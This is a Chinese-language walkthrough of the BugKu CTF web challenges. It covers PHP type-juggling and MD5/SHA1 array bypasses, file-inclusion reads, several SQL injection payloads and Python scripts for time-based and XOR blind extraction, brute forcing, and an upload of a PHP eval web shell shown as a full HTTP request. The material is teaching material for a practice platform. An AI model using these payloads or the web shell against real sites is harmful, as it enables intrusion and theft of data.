BugKu Web篇通关wp
文章目录
- BugKu Web篇通关wp
- 0x01 WEB2
- 0x02 计算器
- 0x03 web基础$_GET
- 0x04 web基础$_POST
- 0x04 矛盾
- 0x05 WEB3
- 0x06 域名解析
- 0x07 你必须让他停下
- 0x08 本地包含
- 0x09 变量1
- 0x10 WEB5
- 0x11 头等舱
- 0x12 网站被黑
- 0x13 管理员系统
- 0x14 web4
- 0x15 flag在index里
- 0x16 输入密码查看flag
- 0x17 备份是个好习惯
- 0x18 成绩单
- 0x19秋名山老司机
- 0x20 速度要快
- 0x21 Cookie欺骗
- 0x22 never give up
- 0x23 字符?正则?
- 0x24 你从哪里来
- 0x25 md5 collision(NUPT_CTF)
- 0X26 程序员本地网站
- 0x27 各种绕过
- 0x28 txt????
- 0x29 细心
- 0x30 getshell
- 0x31 INSERT INTO 注入
- 0x32 多次
- 0x33 PHP_encrypt_1
- 0x34 flag.php
- 0x40 sql注入2
- 0x41 孙XX的博客
- 0x42 Trim
0x01 WEB2
没啥好说的直接F12打开控制台,找到Flag 过!
0x02 计算器
需要计算64+65的结果,F12打开控制台,发现
修改为10,就可以输入了,得到flag过!
0x03 web基础$_GET
简单的get传参,直接通过url传参即可
0x04 web基础$_POST
类似get的操作,这里使用hackbar实现
0x04 矛盾
这里考察PHP中的一个知识点。函数is_numeric() 判断变量是否为数字意思是 num既不是纯数字,又要等于1 所以就构造一个 num=1wahh(开头为1,字母随意) 提交上去
0x05 WEB3
一进去就是是无需循环的弹窗
直接检查源码
在源码的最下面有一串union编码,到相关的网站里面即可解码
KEY{J2sa42ahJK-HS11III}
0x06 域名解析
我们先进入到123.206.87.240中发现:
400 其含义是你访问的页面域名不存在或者请求错误。主要分为两种。
1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
2、请求参数有误。
400的主要有两种形式:
1、bad request意思是“错误的请求";
2、invalid hostname意思是"不存在的域名”。
题目已经提示我们要进行域名解析,那么就需要修改http请求中的host
通过插件,伪装host
得到Flag
0x07 你必须让他停下
打开的时候发现发现一直在不停的发送请求更新页面,大概几次就会出现一个图案,这里只需要使用bs进行截断然后慢慢分析即可
找到图片正常显示的那个地方,F12打开控制台,即可发现flag
0x08 本地包含
这个题目现在好像已经崩了,但是题目还是挺经典的
发现源码里面出现了eval()而且没有做任何的过滤,出现了include和request就是典型的文件包含漏洞了。
我们可以直接构造 hello=show_source(%27flag.php%27);//
直接获取flag
0x09 变量1
上来给了一段代码,相对代码进行解析
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ // 获取get参数args
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ // 正则匹配获取args中的字母或数字
die("args error!");
}
eval("var_dump($$args);");
}
?>
这里说一下php的var_dumps()函数
显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
这里设计到php中的全局数组变量,$GLOBALS 是由所以定义的全局变量组成的数组,变量名就是该数组的索引,在所有脚本中都有效,在函数或对象中的方法中不需要使用关键字global访问,在函数外部声明全局变量,可以使用$_GLOBALS 数组替代global 关键字
构造这样的urlhttp://123.206.87.240:8004/index1.php?args=GLOBALS
flag get !
0x10 WEB5
F12 打开,发现了一堆JSFUCK编码,直接负责到控制台来翻译一下
这里需要从源码里复制,要不太多了控制台里面显示不全
提交之后居然还给我显示这个
题目提示了,字母要大写。那就用大写的提交呗
flag get
0x11 头等舱
点击发现这个画面
查看源码也是什么都没有,那就抓一下包吧
flag get !
0x12 网站被黑
题目提示实战经常遇到,而且是php的网页,没办法用御剑扫一下吧
扫到一个嘿嘿,进去看一看
尝试了一些弱密码都不行,尝试使用burp suite进行暴力破解。
成功了!
flag get !
0x13 管理员系统
尝试输入会发现IP被禁止,F12检查以下源码发现了这个东西
base64解码之后是test123
尝试
发现还是不行,就考虑到应该是对方设置了访问IP现在,那么我们就需要伪造IP了,这里就设计到XFF协议,简单的说就是修改请求头中的这个
flag get !
0x14 web4
检查源代码我们发现是一堆url编码
解码之后拼起来就变成了
function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;
0x15 flag在index里
题目直接提示flag在index里,然后在看看url,有一个file=
猜测可能是一个php的文件包含漏洞。尝试下面的url
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
以base64的方式解析出index.php的内容,然后在进行base64解码即可
0x16 输入密码查看flag
看到这个5位的密码,在检查源码和抓包之后都没有发现什么端倪,尝试bp一波
这里想尝试一下5位数字,5位字母需要的时间太长了
爆破成功啦!
0x17 备份是个好习惯
打开之后是一串编码
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
尝试了一下不是普通的编码格式,题目提示备份是一个好习惯,但是观察url有没有直接引用文件。所以尝试访问index.php,发现页面显示访问正常,备份文件的后缀为bak,尝试访问index.php.bak 文件被下载下来了。
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 获取?之后的字符串(包括?)
$str = substr($str,1); // 获取从第二位之后的字符串
$str = str_replace('key','',$str); // 将 key替换为 空
parse_str($str); // 解析传入的变量
echo md5($key1); // md5加密
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
代码的解析已经写在注释里了,主要有用到两个思想
- 混写绕过, kkeyey1在被上述的代码处理后救变成了key1
- php中的数组在md5加密后结果是一样的
所以可以构造这样的代码
http://123.206.87.240:8002/web16/index.php?kkeyey1[]=ahhhh&kkeyey2[]=ahh
0x18 成绩单
这题很经典!!! 你可以在这题里面掌握基础的sql手工注入的技巧
这里有个成绩查询的功能
输入数字可以查询人的成绩
为了方便我们使用HackBar的插件来发送post请求
我们发现发送id=1’没有回显,输入id=1’#有回显,接下来通过order by来确定数据库的列数
id=1' order by 1# // 有回显
id=1' order by 2# // 有回显
id=1' order by 3# // 有回显
id=1' order by 4# // 有回显
id=1' order by 5# // 无回显
可以确定数据库有4列,接下来使用select 1,2,3,4
来进行入住
id=0' union select 1,database(),user(),version()#
成功查询到数据库名称,接下来查询表名。
这里有一个固定的查询方式id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
查询到有fl4g和sc两个表
直接查询fl4g就好啦
flag get!!!
0x19秋名山老司机
这道题的知识点有如下几点:
- 正则表达式 / Xpath 匹配
- session保持会话
- post发送消息
主要的思路就是迅速的计算出结果然后发送post消息,废话不多说直接上python脚本代码
import requests
from lxml import etree
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.session()
re = s.get(url=url).text
tree = etree.HTML(re)
cal = tree.xpath('/html/body/div[1]/text()')
result = eval(cal[0][:-3])
post = {
'value': result
}
flag = s.post(url=url, data=post).text
print(flag)
flag get !!!
0x20 速度要快
打开网页看到一行字, 我觉得你要快点
打开Burp Suite,放到Reapeater里Go之后发现
里面有一个flalg,很明显的base64编码进行解码,我们可以得到:跑的还不错,给你flag吧: OTQ3NTc5
,一提交发现是错的。。。
它提示,需要将这个margin通过post消息发送,接下来开始python编码。
import requests
import base64
se = requests.session()
url = 'http://123.206.87.240:8002/web6/'
result = se.get(url)
base = result.headers['flag'][-12:]
flag = base64.b64decode(base64.b64decode(base))
data = {'margin': flag}
flag = se.post(url=url, data=data).text
print(flag)
发送之后可得到flag
0x21 Cookie欺骗
打开网页后一堆东西,啥都得不到,观察一下url发现url里面好像包含了一个base64编码。进行解码得到keys.txt
我们类似的可以尝试一下index.php的base64的编码。访问之后什么都看不到,尝试修改一下line的数值发现可以得到index.php里的内容,整理一下我们可以得到
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
我们将filename的值改为index.php的base64编码:a2V5cy5waHA=
。然后将Cookie的设为margin=margin
可以用如下的python代码获取flag
import requests
url = 'http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA='
cookie = {'margin': 'margin'}
headers = {'Cookie': 'margin=margin'}
result = requests.get(url=url,headers=headers).text
print(result)
0x22 never give up
先检查源码:
尝试访问一下,发现会跳转到bugku的首页
看一下1p.html的源码
view-source:http://123.206.87.240:8006/test/1p.html
发现一些url编码,然后进行解压,可以得到一串base64编码,再进行解码,又得到一串url编码,再进行解码,我去无限套娃是不是?然后终于得到了代码:
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
代码中可以看到flag应该是存储在f4l2a3g.txt,尝试在url里访问一下,falg get
0x23 字符?正则?
通过对题目的阅读我们可以发现,主要是思路是绕过正则,那么接下来我们来分析一下这个正则。
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
- .* 匹配任意多个字符
- . 匹配任意单个字符
- {4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7
- / 转义 “/”
- [a-z] 匹配任意一个小写字母
- [:punct:] 匹配任意标点符号
- /i 表示不区分大小写
所以我们可以构造出来一个这样的正则
keylalalakey6666key:/6/keyz:
结合代码我们可以知道,只需要通过get请求的方式传入即可
http://123.206.87.240:8002/web10/?id=keylalalakey6666key:/6/keyz:
key 出来了!
0x24 你从哪里来
很明显了,就是想让我们伪装一下请求头就ok了,没什么难度直接过, 修改请求头中的Referer字段即可
0x25 md5 collision(NUPT_CTF)
本题的主要思路是:根据==
用法,0 ==
字符串是成立的,从而可以绕过MD5检查。
所以只需要构造一个0开头的md5码即可,我们可以构造一个这样的md5码,s878926199a ,传入即可获取flag
0X26 程序员本地网站
一打开几面就提示请从本地访问,尝试一下把Client-ip求改为127.0.0.1。成功获取flag
0x27 各种绕过
上来就给了一大串代码,让我们来分析分析
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']); // get传参获取id
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) { // get传参获取uname,post传参获取passwd【不为NULL】
if ($_GET['uname'] == $_POST['passwd']) // uname和passwd的值不能为NULL
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) // 比较sha1加密后结果
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
这里其实用的是ctf里面一个经常出现的绕过方式了,原理就是php中数组在sha1加密后数值相同。构造一下就可
flag轻松获取了
0x28 txt???
先来分析一下代码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
大体就是读入一个文件,然后让他的内容和ac的值相等,因为我是有云服务器且部署好了static文件夹,就自己手动输入一个txt在云服务器上然后控制他们的值相等就可以了
大致的url是这样的
http://123.206.87.240:8002/web8/?ac=wahh&fn=http://xxx.xxx.xxx.xxx/text.txt
0x29 细心
拿到题目之后是这样的,啥信息也没有,就尝试去各种常用路径里面看看,之后发现了robot.txt里面有东西
我们到resusl.php里去看一看
提示了这个信息,这里的我的IP打了马赛克,然后下面提示了我们可以传入x作为密码。那就先尝试尝试一些弱密码吧
试了下admin居然直接就可以了。。。。
0x30 getshell
很明显的文件上传漏洞,我们来试一试吧,上传一句话木马<?php eval(@$_POST['a']); ?>
试一试
提示不能上传,那就先把后缀改为jpg,试试看然后使用bp中途把改回php,尝试之后发现还是不行。
那就尝试尝试php5这样的可不可以绕过吧。发现还是不行,又仔细看了看包的内容发现还有一个Content-Type把他大小写绕过一下看看。结果成功上传!
POST /web9/index.php HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 310
Cache-Control: max-age=0
Origin: http://123.206.87.240:8002
Upgrade-Insecure-Requests: 1
Content-Type: MulTipart/form-data; boundary=----WebKitFormBoundarylB9qExaaIBaDtX4o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://123.206.87.240:8002/web9/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: xadsccerfbuawerf=CN
Connection: close
------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="file"; filename="shell.php5"
Content-Type: image/jpeg
<?php eval(@$_POST['a']); ?>
------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarylB9qExaaIBaDtX4o--
0x31 INSERT INTO 注入
题目给出了php代码,我们先分析一下
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
可以看到,这里的代码信息是获取我们的IP并插入到数据库中。
可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,不用担心,我们有下面的代码进行替换。
select case when (条件) then 代码1 else 代码 2 end;
让我们构造一下payload,爆出数据库和列名的过程我就掠过了,原理基本相同
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
这里手工注入太累了,我们写一个脚本来帮助一下。因为现在bugku的免费访问版速度实在是太慢了,所以我们把sleep的时间改成10,然后下面的timeout也设置成8,这样就没有什么问题了。
import requests
from tqdm import tqdm
url = "http://123.206.87.240:8002/web15/"
flag = ""
for i in tqdm(range(1, 33)):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(
i) + " for 1 )='" + str1 + "') then sleep(10) else 1 end )) #"
# print data
headers = {"x-forwarded-for": data}
try:
result = requests.get(url, headers=headers, timeout=8)
except requests.exceptions.ReadTimeout as e:
flag += str1
print(flag)
break
print('flag:' + flag)
0x32 多次
这题为sql注入,先让我们进行一下分析
- 加 ’ 报错
- ’ --++ 正常
- ‘ and 1=1 --++报错
应该是进行了过滤吧,可以尝试双写绕过,比如and 写成aandnd,便可成功绕过
下面给出爆出个信息的payload
数据库
?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23
数据表
id=-1%27%20ununionion%20seselectlect%201,%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()--++
很明显flag1里面应该是我们要的。
列名
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23
然后我们选择flag1这一列
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
flag get ! 才怪!! 还真是多次,梅开二度了还。
既然flag1里没有我们想要的东西,那么就去address里面看看,构造如下的payload
?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(address)%20from%20flag1%20%23
看来是没那么简单啊。我们再进去看看
继续呗
- ’ 报错
- ’–++ 正常显示
- ’ and 1=1 报错
- ’ anand 1=1 报错
- 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#
看来是换waf的模式,经过几番尝试发现可以运用updatexml()漏洞思想入侵。
-
查表:
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
-
查字段名:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
-
查字段:
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
0x33 PHP_encrypt_1
上来给了一个代码
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
靠的应该是php的反序列化,根据序列化代码写出反序列化代码如下
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // decode the string
$md_len = strlen($tmp); // get the length of the string
for ($i=0; $i < $md_len; $i++) {
if ($x == $klen)
$x = 0;
$char .= $mkey[$x]; /
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) {
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) {
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od);
$data2 .= chr($dd-$od);
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
最后得到flag为{asdqwfasfdwfefqdqwdadwqdaw*}
0x34 flag.php
一进去发现一个不能按的登陆按钮,其他的信息就什么都没有了,想起题目提示了hint,就像试试看访问一些hint相关的内容,之后发现访问http://123.206.87.240:8002/flagphp/?hint=2
可以访问。之后得到了代码,再看看代码吧
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; // 获取Cookie
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") // 对cookie的值进行反序列化
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
通过解析代码我们可以知道,需要在Cookie中包含一个字段ISecer
,这个字段的值反序列化之后需要为KEY的值,这里需要注意代码是从上往下运行的所以现在的KEY是空
<?php
echo serialize('');
?>
output:s:0:"";
将s:0:""; 传入,发现还是不对。发现把;进行url编码后才可以。这里还需要注意因为代码里面写的是else if所有不能在同时传参hint,否则没用!
0x40 sql注入2
题目提示,几乎把所有的关键字都过滤了。所以我们首先需要确认到底哪些关键字被过滤。尝试进行输入发现,如果输入被过滤的关键字会有提示。我们打开Burp Suite抓一下包,然后用关键字密码字典爆破一下,看哪些关键字没有被过滤。
首先我们构造这样的payload来判断过滤了哪些关键字
加载一下常用的关键字,这个字典随便百度一下就有了,还是比较全的
长度位367的是没有过滤的,370的是已经过滤了的
根据结果可以发现,能用的只有一些异或运算符了。这题主要应该是运用异或注入。
通过尝试admin等常规若口令我们可以得到,是有admin这个用户的。
这里补充几个知识点:
- sql语句是可以处理减法的
- 字符串被视为0
如果这题构造这样的payloadadmin' -(sql语句)-'a
由于此题把空格给毙掉了。所以常规的语句写法都不能用 ,而且union,and,or这样的都被屏蔽了。emmm这里是真的难搞,最后决定大胆的尝试字段名passwd,还真被猜中了,写个代码求解一下答案吧
import requests
from tqdm import tqdm
url = "http://123.206.87.240:8007/web2/login.php"
letters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
password = ""
for i in tqdm(range(1, 50)):
for j in letters:
payload = "admin'-(ascii(substring((passwd)from(" + str(i) + ")))=" + str(ord(j)) + ')' + "-'a"
data = {
'uname': payload,
'passwd': '233'
}
r = requests.post(url=url, data=data)
if "username error!!@_@" in str(r.content):
password += j
print(password)
最后得到一个32位的字符串,应该是一串md5吗,解码之后结果就是admin123,尝试用这个登陆一下。
ls一下就出来结果了。。。
0x41 孙XX的博客
题目提示,需要用到渗透测试第一步信息收集
0x42 Trim
几番尝试之后没有什么结果,就使用御剑进行了扫描了一下
尝试了 show.php ,发现flag里面直接就有了。。。